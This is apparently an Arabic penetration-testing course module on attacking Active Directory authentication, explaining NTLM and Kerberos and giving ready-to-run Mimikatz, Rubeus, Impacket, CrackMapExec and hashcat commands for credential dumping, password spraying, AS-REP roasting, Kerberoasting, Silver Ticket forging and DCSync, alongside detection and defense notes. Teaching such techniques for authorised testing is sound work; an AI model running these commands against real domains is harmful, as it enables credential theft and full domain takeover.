01أساسيات مصادقة Active Directory

ليه المصادقة هي سطح الهجوم الأساسي؟

Active Directory مبني بالكامل حول فكرة المصادقة. كل عملية وصول لمورد — مشاركات ملفات، RDP، بريد إلكتروني، تطبيقات ويب — بتتطلب إثبات هوية أولاً. ومن هنا القاعدة الأهم في هجمات AD: التحكّم في عملية المصادقة يعني التحكّم في الوصول لكل حاجة في الدومين.

1بروتوكولان أساسيان للمصادقة في AD: NTLM (قديم، يُستخدم كـ Fallback) وKerberos (حديث، افتراضي منذ Windows Server 2003)
2كلا البروتوكولين بيخزّنا مواد حساسة محليًا على الجهاز — وهنا بالظبط هدف المهاجم
3NTLM hashes وKerberos TGT/TGS Tickets — كلهم مخزَّنين في ذاكرة LSASS

أين تُخزَّن بيانات الاعتماد الحساسة؟

01
NTLM Hashes
مخزَّنة في ذاكرة LSASS — قابلة للتكسير أوفلاين (Crackable) وقابلة لإعادة الاستخدام مباشرةً (Reusable) بدون الحاجة لمعرفة كلمة المرور الفعلية.
02
Kerberos TGT / TGS Tickets
مخزَّنة هي كمان في LSASS — قابلة للسرقة (Stealable) والحقن في جلسة تانية (Injectable) عبر تقنيات زي Pass-the-Ticket.

خريطة تقنيات الهجوم على المصادقة

التقنيةالبروتوكولالمتطلَّبالأثر
Password SprayingNTLM / Kerberosبدون بيانات اعتمادبيانات اعتماد دومين صالحة
AS-REP RoastingKerberosبدون بيانات اعتمادهاش كلمة مرور حساب مُهيَّأ بشكل خاطئ
KerberoastingKerberosأي مستخدم دومينهاش كلمة مرور حساب خدمة
Silver TicketKerberosNTLM hash لحساب خدمةوصول غير مصرَّح به لخدمة محدَّدة
DCSyncDRSUAPIصلاحيات DA أو Replicationكل هاشات كلمات مرور الدومين
Pass-the-HashNTLMNTLM hashحركة جانبية بدون معرفة كلمة المرور
Pass-the-TicketKerberosTGT صالحانتحال شخصية المستخدم لأي خدمة
خريطة الموديول

الجدول ده هو خريطة سريعة لكل هجمات الموديول — كل تقنية هيتم تفكيكها بالتفصيل في القسم المخصَّص ليها، مع الأدوات والأوامر العملية على Windows وLinux.


02NTLM Authentication — شرح تفصيلي

امتى بيتم استخدام NTLM؟

Kerberos هو البروتوكول المفضَّل دايمًا، لكن NTLM بيُستخدم كـ Fallback في الحالات دي:

ليه NTLM لسه مهم

مش ممكن تعطيل NTLM تمامًا في أغلب البيئات لأن ده هيكسر التوافق مع أنظمة قديمة — وهو لسه موجود حتى في بيئات Windows Server 2022 الحديثة. أي مختبر اختراق هيواجه NTLM تقريبًا في كل بيئة AD.

تدفّق مصادقة NTLM خطوة بخطوة

1
تحويل كلمة المرور إلى NTLM Hash

العميل بيحوّل كلمة مرور المستخدم لهاش NTLM باستخدام خوارزمية MD4 — الهاش ده مش بيتغيّر لحد ما كلمة المرور تتغيّر.

2
إرسال اسم المستخدم

العميل بيبعت اسم المستخدم للسيرفر المستهدَف بشكل Plaintext لبدء عملية المصادقة.

3
السيرفر بيبعت Nonce (Challenge)

السيرفر بيولّد قيمة Challenge عشوائية بطول 64-bit — فريدة لكل جلسة، وبتمنع هجمات الـ Replay.

4
العميل بيشفّر الـ Challenge

العميل بيشفّر الـ Nonce باستخدام NTLM Hash → بينتج "الـ Response" — وده بيثبت معرفته بالهاش من غير ما يكشفه.

5
السيرفر بيحوّل البيانات للـ DC

السيرفر بيبعت: اسم المستخدم + الـ Challenge الأصلي + Response العميل المشفَّر → للـ Domain Controller للتحقق.

6
الـ DC بيتحقق من الـ Response

الـ DC بيسترجع الهاش المخزَّن، بيشفّر نفس الـ Challenge، وبيقارن النتيجتين → تطابق = مصادقة ناجحة، عدم تطابق = رفض.

ClientNTLM Hash (MD4)Serverينشئ ChallengeDomain Controllerيتحقّق من Response① Username →← ② Challenge / ③ Response④ Username + Challenge + Response →← ⑤ Match / No Match
السيرفر بيتحقق مع الـ DC في كل محاولة مصادقة — لا يوجد تخزين دائم لجلسة NTLM

خصائص الأمان ونقاط الضعف

ما الذي تحميه NTLM

كلمة المرور مش بتتبعت أبدًا بشكل Plaintext عبر الشبكة. الـ Challenge بيمنع هجمات الـ Replay لأن كل Nonce فريد.

نقاط الضعف الحرجة

03Kerberos Authentication — شرح تفصيلي

المفاهيم الأساسية

المرحلة الأولى — الحصول على TGT

المرحلة الثانية — الحصول على Service Ticket (TGS)

نقطة حرجة

تشفير الـ Service Ticket بهاش حساب الخدمة — مش هاش الـ KDC — هو الأساس اللي بيُبنى عليه هجوم Kerberoasting بالكامل.

المرحلة الثالثة — الوصول لسيرفر التطبيق

نتيجة مباشرة

بدون التحقق من الـ PAC عند الـ DC → هجوم Silver Ticket يصبح ممكنًا.

Kerberos — المراحل الثلاثClientMedium IntegrityKDCDomain ControllerApp ServerSPN المستهدَف① AS-REQ/REP → TGT② TGS-REQ/REP → Service Ticket③ AP-REQ (Service Ticket) → وصول للخدمة
الـ DC مش بيتدخّل إلا عند إصدار التذاكر — بعد كده الوصول بيتم مباشرةً بين العميل والخدمة

NTLM مقابل Kerberos — الفروق الجوهرية

الخاصيةNTLMKerberos
نموذج الاتصالاتصال مباشر مع السيرفرطرف ثالث موثوق (KDC)
نموذج العملChallenge-Response في كل مرةنظام تذاكر — Single Sign-On
دور الـ DCيتحقّق مع كل محاولة مصادقةيتدخّل فقط عند إصدار التذكرة
تخزين الهاشفي LSASS — قابل لإعادة الاستخدام مباشرةًتذاكر لها صلاحية زمنية (TGT ~10 ساعات)
المصادقة المتبادلةغير موجودةموجودة — الطرفان يتحققان من بعض
سرعة التكسيرMD4 سريع جدًا — قابل للتكسير بالـ GPUTimestamps مشفّرة تمنع الـ Replay
الثغرة الرئيسيةPass-the-HashKerberoasting — أي مستخدم يقدر يطلب TGS

04بيانات الاعتماد المخزَّنة وLSASS

ليه Windows بيخزّن بيانات الاعتماد؟

تعريف

LSASS = Local Security Authority Subsystem Service. بيشتغل بصلاحيات SYSTEM — أعلى عملية صلاحيات في Windows. الوصول لذاكرته بيحتاج Administrator + SeDebugPrivilege.

ايه اللي المهاجم يقدر يعمله ببيانات الاعتماد المخزَّنة؟

نوع البياناتالاستخدام الهجومي
NTLM Hashتكسير أوفلاين لاسترجاع كلمة المرور، أو Pass-the-Hash للمصادقة مباشرةً
Kerberos TGTPass-the-Ticket لانتحال شخصية المستخدم لأي خدمة — لو TGT لحساب DA = وصول لكامل الدومين
Kerberos TGSوصول للخدمة المحدَّدة فقط كالمستخدم الشرعي؛ لو PAC validation معطّلة → Silver Ticket ممكن

أنواع الهاشات والتذاكر في LSASS

01
NTLM Hash
موجود في كل بيئات Windows الحديثة — قابل للاستخدام في Pass-the-Hash والتكسير الأوفلاين.
02
SHA-1 / AES Keys
مستخدَمة جنبًا إلى جنب مع تشفير Kerberos الحديث.
03
WDigest Plaintext
موجودة على الأنظمة القديمة أو لو اتفعّلت يدويًا — كلمة مرور Plaintext حرفية، استغلالها تافه.
04
Kerberos TGT
بتسمح بطلب أي Service Ticket من غير إعادة مصادقة.
05
Kerberos TGS
تذكرة خاصة بخدمة واحدة محدَّدة فقط.

الإجراءات الدفاعية

LSA Protection (RunAsPPL)
بيحوّل LSASS لـ Protected Process Light — بيمنع حتى الـ Admins من قراءة ذاكرته. قابل للتجاوز باستخدام Kernel Drivers.
Credential Guard
يعزل بيانات الاعتماد داخل Enclave في الـ Hypervisor (Virtualization-Based) — فعّال جدًا وصعب تجاوزه. يحتاج دعم UEFI وVirtualization.
تعطيل WDigest
عن طريق الـ Registry: HKLM\SYSTEM\..\WDigest → UseLogonCredential=0

Mimikatz — استخراج بيانات الاعتماد المخزَّنة

متطلّبات التشغيل

Mimikatz هو الأداة المرجعية لاستخراج بيانات الاعتماد من LSASS. محتاج: صلاحيات Local Administrator، SeDebugPrivilege (تصحيح أي عملية)، وSYSTEM Token (عبر token::elevate). متاح كمان عبر Metasploit Kiwi extension، أو Procdump + تحليل أوفلاين لتقليل الأثر (OPSEC).

mimikatz — lsass credential extraction
privilege::debug
token::elevate

# تفريغ كل بيانات الاعتماد من LSASS
sekurlsa::logonpasswords
# بيعرض: NTLM hash + plaintext (لو WDigest مفعَّلة)

# تصدير تذاكر Kerberos
sekurlsa::tickets /export
# بيحفظ ملفات .kirbi لاستخدامها في Pass-the-Ticket

# تفريغ قاعدة بيانات SAM
lsadump::sam

# حقن تذكرة محفوظة
kerberos::ptt [ticket.kirbi]

05Password Spraying في AD

Password Spraying مقابل Brute Force

الأسلوبالطريقةالمخاطرة
Brute Forceكلمات مرور كتير ← مستخدم واحدبيقفل الحساب بسرعة — صاخب ومكتشَف فورًا
Password Sprayingكلمة مرور واحدة ← مستخدمين كتيربيفضل تحت حد القفل — فعّال لأن المستخدمين بيشاركوا أنماط متوقَّعة (Season+Year، Company+123!، Welcome1!)
أول خطوة دايمًا

افحص سياسة القفل (Lockout Policy) قبل أي محاولة: net accounts /domain — بيرجّع حد القفل، مدته، ونافذة المراقبة (Observation Window). الـ Spray لازم يكون بمحاولة واحدة فقط لكل نافذة مراقبة عشان تفضل آمن.

ثلاث طرق للـ Spraying

LDAP Spraying
بيستخدم مصادقة LDAP مباشرة مع الـ DC — أثر شبكي منخفض جدًا. محاولة Bind ناجحة = بيانات اعتماد صحيحة. الأنسب للتقييمات اللي الأهم فيها التخفّي، واللوجات بتظهر كمصادقة LDAP عادية.
SMB Spraying
محاولة دخول عبر SMB (بورت 445) — أثر شبكي أعلى، لكن بتكشف هل فيه صلاحيات Admin على أجهزة معيّنة. الأدوات: CrackMapExec، Metasploit smb_login.
Kerberos TGT Spraying
طلب TGT لكل توليفة مستخدم/كلمة مرور — أسرع طريقة. بيانات صحيحة = تذكرة TGT، بيانات خاطئة = KRB5KDC_ERR_PREAUTH_FAILED. أدوات: Rubeus, kerbrute, Invoke-Kerberoast.

أوامر عملية

powershell — ldap spraying
$domain = 'DC=corp,DC=com'
foreach ($user in $users) {
    $entry = New-Object DirectoryServices.DirectoryEntry(
        "LDAP://dc1", "corp\$user", 'Passw0rd')
    if ($entry.name) { "VALID: $user" }
}
crackmapexec — smb spraying
crackmapexec smb 192.168.50.10 -u users.txt -p 'Passw0rd!' --continue-on-success
rubeus — kerberos spraying
# الأسرع — من غير أي اتصال SMB
Rubeus.exe brute /users:users.txt /password:Passw0rd! /noticket /delay:500
# delay = ms بين كل محاولة ومحاولة
اختيار الطريقة المناسبة

تخفّي قبل أي حاجة؟ LDAP. محتاج تكشف أجهزة فيها صلاحيات Admin؟ SMB. محتاج أسرع نتيجة بأقل أثر شبكي؟ Kerberos TGT.


06AS-REP Roasting

Kerberos Pre-Authentication — ليه موجودة؟

إعداد خطير

الخاصية Do not require Kerberos preauthentication دعوة مباشرة للهجوم.

مين عنده Pre-Auth معطّلة؟

تدفّق هجوم AS-REP Roasting

1
إيجاد الحسابات المعرَّضة

استعلام AD عن المستخدمين اللي عندهم Do not require Kerberos preauthentication مفعَّلة، باستخدام LDAP filter أو PowerView.

2
طلب AS-REP (بدون الحاجة لكلمة المرور)

إرسال AS-REQ للمستخدم المستهدَف — الـ DC بيرد بـ AS-REP من غير التحقق من معرفة كلمة المرور.

3
استخراج الهاش المشفَّر

الـ AS-REP بتحتوي على بيانات مشفّرة بهاش كلمة مرور المستخدم — بتتحفظ بصيغة متوافقة مع Hashcat.

4
تكسير أوفلاين

استخدام Hashcat mode 18200 (Kerberos AS-REP) مع Wordlist وRules — بدون أي خطر قفل حساب أثناء التكسير.

5
استخدام كلمة المرور المسترجَعة

المصادقة في AD كالمستخدم، التعداد الإضافي، أو استخدام بيانات الاعتماد للحركة الجانبية.

أوامر Windows وLinux

windows — rubeus (auto-discover)
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
linux — impacket
impacket-GetNPUsers corp.com/ -usersfile users.txt -format hashcat -outputfile hashes.txt
hashcat — mode 18200
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt -r best64.rule

# مثال على نتيجة التكسير:
$krb5asrep$23$dave@corp.com:...:Flowers1!
AS-REP Roasting موجَّه

لو عندك صلاحية GenericWrite أو GenericAll على حساب مستخدم — تقدر تفعّل تعطيل الـ Pre-Auth عليه بنفسك، تنفّذ الهجوم، وترجّع الإعداد لوضعه الأصلي بعد كده.


07Kerberoasting

ليه Kerberoasting قوي جدًا

بدون مخاطرة

مفيش Account Lockout في الهجوم ده — ده عملية Kerberos عادية ومتوقَّعة تمامًا. المتطلَّب الوحيد: حساب دومين عادي صالح.

ليه حسابات الخدمة ضعيفة

عوامل الخطورة
حسابات محصَّنة من Kerberoasting

Managed Service Accounts (MSA) بكلمة مرور 30 حرف تلقائية التدوير، Group MSAs (gMSA) بكلمة مرور 120 حرف، وحسابات الأجهزة (Computer Accounts) بكلمة مرور 120 حرف تلقائية التدوير.

تدفّق الهجوم الكامل

1
إيجاد الحسابات اللي عندها SPNs

استعلام AD عن حسابات المستخدمين (مش حسابات الأجهزة) اللي عندها خاصية servicePrincipalName مضبوطة.

2
طلب تذاكر TGS

أي مستخدم دومين بيطلب Service Tickets لكل الـ SPNs دي — الـ KDC بيرد من غير التحقق من التفويض.

3
استخراج هاش TGS-REP

حفظ الجزء المشفَّر من كل Service Ticket — ده متشفّر بهاش NTLM الخاص بحساب الخدمة.

4
تكسير أوفلاين

استخدام Hashcat mode 13100 (Kerberos 5 TGS-REP) — بدون قفل حساب وبدون ضوضاء شبكية أثناء التكسير.

5
استخدام الحساب المخترَق

لو حساب الخدمة عنده صلاحيات عالية → تصعيد لـ Domain Admin أو الوصول لخدمات حرجة.

أوامر Windows وLinux

windows — rubeus
# اكتشاف تلقائي لكل الحسابات القابلة لـ Kerberoasting
Rubeus.exe kerberoast /outfile:hashes.txt

# استهداف مستخدم محدَّد
Rubeus.exe kerberoast /user:svc_mssql /outfile:svc_mssql_hash.txt
linux — impacket
impacket-GetUserSPNs corp.com/stephanie:'PW' -request -outputfile hashes.txt
hashcat — mode 13100
hashcat -m 13100 hashes.txt rockyou.txt -r best64.rule

# مثال على نتيجة التكسير:
$krb5tgs$23$*svc_mssql$...:Mssql@2023!
ملاحظة مهمة

الـ etype 17/18 (تشفير AES) أصعب بكتير في التكسير من etype 23 (RC4) — نوع التشفير بيأثر مباشرة على سرعة وجدوى الهجوم.


08Silver Tickets

ازاي بتشتغل Silver Tickets

ميزة أساسية — تجاوز الـ DC بالكامل

مفيش أي تواصل شبكي مع الـ DC، ومفيش أي لوجات بتتسجّل عند الـ DC لإصدار التذكرة — ده بيخلّيها أكثر تخفّيًا من Golden Tickets.

القيد الأساسي

التذكرة شغّالة فقط على الخدمة المرتبطة بالـ SPN المحدَّد اللي اتزوَّرت على أساسه.

المطلوب لعمل Silver Ticket

1
NTLM Hash لحساب الخدمة
عبر Kerberoasting + تكسير، تفريغ Mimikatz، أو استخراج من LSASS.
2
Domain SID
بيحدّد الدومين بشكل فريد — ضروري لبناء هيكل التذكرة. whoami /user بيعرض SID المستخدم، شيل آخر جزء منه = Domain SID. أو Get-DomainSID من PowerView.
3
Target SPN
اسم خدمة Service Principal Name الدقيق المراد تزوير الوصول ليها، مثال: MSSQLSvc/dc1.corp.com:1433.

تزوير Silver Ticket بـ Mimikatz

سيناريو

اتعمل Kerberoasting لحساب svc_mssql وانكسر الهاش: Mssql@2023!. الهدف: تزوير TGS لـ MSSQL والوصول لقاعدة البيانات كـ SA.

mimikatz — silver ticket forging
whoami /user
# S-1-5-21-XXXX-YYYY-ZZZZ-1001 → Domain SID = بدون آخر رقم

# تحويل كلمة المرور لهاش NTLM:
python -c "import hashlib,binascii; print(binascii.hexlify(hashlib.new('md4','Mssql@2023!'.encode('utf-16le')).digest()))"

kerberos::golden /sid:S-1-5-21-XXXX-YYYY-ZZZZ /domain:corp.com /ptt \
  /target:dc1.corp.com /service:mssqlsvc /rc4:<NTLM_HASH> /user:Administrator
# /ptt = حقن مباشر في الجلسة الحالية
نقطة خطيرة

الهجوم ده بيشتغل حتى لو اتغيّرت كلمة المرور الحقيقية لحساب المستخدم اللي اتزوَّرت هويته — التذكرة صالحة لحد ما تنتهي مدتها (~10 ساعات).

الدفاعات والقيود

الكشف / الدفاعالتفاصيل
PAC Validationلو مفعَّلة، الخدمة بتطلب من الـ DC التحقق من محتوى التذكرة
Event ID 4769طلبات Service Ticket — أسماء مستخدمين غير طبيعية في اللوجات مؤشّر على تذاكر مزوَّرة
Managed Service Accountsاستخدام MSA/gMSA بكلمات مرور تلقائية التدوير يمنع الهجوم من الأساس
KDC PAC Validationتفعيلها عبر KDCValidation registry key
تقليل صلاحيات حساب الخدمةالحد الأدنى من الصلاحيات المطلوبة فقط

09DCSync Attack

ازاي بيشتغل DCSync

Attackerعنده صلاحيات DAينتحل DCDRSUAPI replication requestDomain Controllerيرد بهاشات NTDS.DIT
الـ DC بيتحقق من الصلاحية فقط — مش من هوية الطالب الحقيقية — وده ما يسمح بانتحال DC كامل

ليه DCSync هو الهجوم النهائي على AD

النتيجة

حساب DA واحد مخترَق = تفريغ بيانات اعتماد الدومين بالكامل.

التنفيذ على Windows وLinux

windows — mimikatz lsadump::dcsync
lsadump::dcsync /user:corp\dave
lsadump::dcsync /user:corp\Administrator
lsadump::dcsync /user:corp\krbtgt
lsadump::dcsync /all /csv

# المخرجات تشمل:
Hash NTLM: 2a944a7...
Hash SHA1: ...
linux — impacket-secretsdump
# استخراج حساب محدَّد فقط
impacket-secretsdump corp.com/jeffadmin:'PW'@192.168.50.70 -just-dc-user dave

# تفريغ كامل — كل الهاشات
impacket-secretsdump corp.com/jeffadmin:'PW'@dc1

الكشف والدفاع

مؤشرات الكشفالإجراءات الدفاعية
Event ID 4662 — Directory Access Audit؛ فلترة على صلاحية Replicating Directory Changes من حساب غير DCتفعيل Object Access Auditing عبر Group Policy → Advanced Audit Policy → Directory Service Access
Event ID 4624 — تسجيلات دخول غير طبيعية ببيانات اعتماد DA من أجهزة غير DCمجموعة Protected Users — تمنع مصادقة NTLM، تخزين بيانات الاعتماد، والتفويض
حركة DRSUAPI (بورت 135 + RPC ديناميكي) من IPs مش DCPrivileged Access Workstations (PAW) — حسابات DA تسجّل دخول فقط من محطات معزولة

منهجية الهجوم المتكامل على AD Auth

1
موطئ قدم أولي

الحصول على حساب دومين عادي (عبر Phishing، تسريب بيانات اعتماد، أو وصول فيزيائي محدود) — نقطة البداية لأغلب هجمات AD.

2
فحص سياسة القفل ثم Password Spraying

لو معندكش بيانات اعتماد أصلًا، ابدأ بـ net accounts /domain ثم Spray محسوب بمحاولة واحدة لكل نافذة مراقبة — هدفك أول حساب دومين صالح.

3
تعداد الحسابات المعرَّضة

دوَّر على حسابات Pre-Auth معطّلة (AS-REP Roasting) وحسابات عندها SPNs (Kerberoasting) — كلاهما هجمات أوفلاين بدون خطر قفل.

4
تكسير الهاشات المُلتقَطة أوفلاين

Hashcat mode 18200 أو 13100 حسب نوع الهجوم — ركّز على حسابات الخدمة، غالبًا عندها كلمات مرور قديمة وضعيفة.

5
استغلال LSASS على أي جهاز متاح

لو وصلت لصلاحيات Local Admin على أي جهاز — Mimikatz لاستخراج هاشات وTickets إضافية، أو Pass-the-Hash / Pass-the-Ticket للحركة الجانبية.

6
تزوير Silver Ticket عند الحاجة

لو عندك هاش حساب خدمة معيّن وعايز وصول فوري لخدمة واحدة بدون لمس الـ DC — Silver Ticket أسرع وأكتر تخفّيًا.

7
DCSync عند الوصول لصلاحيات DA أو Replication

الهدف النهائي — تفريغ كل هاشات الدومين بما فيها KRBTGT، واللي بيفتح الباب لـ Golden Ticket وسيطرة كاملة ودائمة على الدومين.


Cheat Sheet مرجعي

أوامر Mimikatz الأساسية

mimikatz — quick reference
privilege::debug
token::elevate
sekurlsa::logonpasswords
sekurlsa::tickets /export
lsadump::sam
lsadump::dcsync /user:corp\krbtgt
kerberos::golden /sid:<SID> /domain:<domain> /ptt /target:<target> /service:<spn> /rc4:<hash> /user:<user>
kerberos::ptt <ticket.kirbi>

أوامر Rubeus الأساسية

rubeus — quick reference
Rubeus.exe brute /users:users.txt /password:<pw> /noticket /delay:500
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
Rubeus.exe kerberoast /outfile:hashes.txt
Rubeus.exe kerberoast /user:<svc_account> /outfile:hash.txt

أوامر Impacket الأساسية

impacket — quick reference
impacket-GetNPUsers corp.com/ -usersfile users.txt -format hashcat -outputfile hashes.txt
impacket-GetUserSPNs corp.com/user:'PW' -request -outputfile hashes.txt
impacket-secretsdump corp.com/jeffadmin:'PW'@dc1

أوضاع Hashcat السريعة

Modeالنوعالاستخدام
1000NTLMتكسير هاشات NTLM المُستخرَجة مباشرةً
18200Kerberos 5 AS-REP etype23نتائج AS-REP Roasting
13100Kerberos 5 TGS-REP etype23نتائج Kerberoasting

Quick Wins — أسرع المسارات في تقييم AD

#التحققالأمرالهجوم المناسب
1سياسة القفل تسمح بالـ Spray؟net accounts /domainPassword Spraying
2حسابات بـ Pre-Auth معطّلة؟Get-ADUser -Filter 'DoesNotRequirePreAuth -eq True'AS-REP Roasting
3حسابات عندها SPNs؟impacket-GetUserSPNsKerberoasting
4وصول Local Admin على أي جهاز؟whoami /priv + MimikatzLSASS Dump / Pass-the-Hash
5صلاحيات Replication متاحة؟Get-ObjectAcl على Domain ObjectDCSync

الخلاصة العامة للموديول

الموديول ده غطّى مصادقة Active Directory من جذورها — بروتوكولَي NTLM وKerberos، أماكن تخزين بيانات الاعتماد في الذاكرة، وسلسلة كاملة من الهجمات اللي بتبدأ من حساب دومين عادي وتنتهي بالسيطرة الكاملة على الدومين عبر DCSync.

$ cat ./module20_summary.txt

كل هجمات المصادقة دي مبنية على فكرة واحدة: الثقة الممنوحة لهاش أو تذكرة أكبر من الثقة المفروض تتحقق منها فعليًا. المختبر اللي بيفهم أين بالظبط بتتولَّد هذه الثقة — وأين بيُفترَض إنها تتحقَّق ومش بتتحقَّق — هو اللي بيوصل لـ Domain Admin بأقل عدد خطوات.

Professional Mindset

في الـ Engagement الحقيقي: ابدأ دايمًا بالهجمات اللي مش محتاجة بيانات اعتماد أو بتتم أوفلاين (Password Spraying، AS-REP Roasting) → بعدين Kerberoasting باستخدام أول حساب تحصل عليه → بعدين استغلال LSASS على أي جهاز فيه Local Admin → وأخيرًا، لو وصلت لصلاحيات DA، نفّذ DCSync واحفظ حساب KRBTGT تحديدًا — لأنه بيفتح الباب لاستمرارية الوصول (Golden Ticket). وثَّق كل خطوة، حتى الفاشلة.


نهاية نوتس الموديول العشرين — Attacking Active Directory Authentication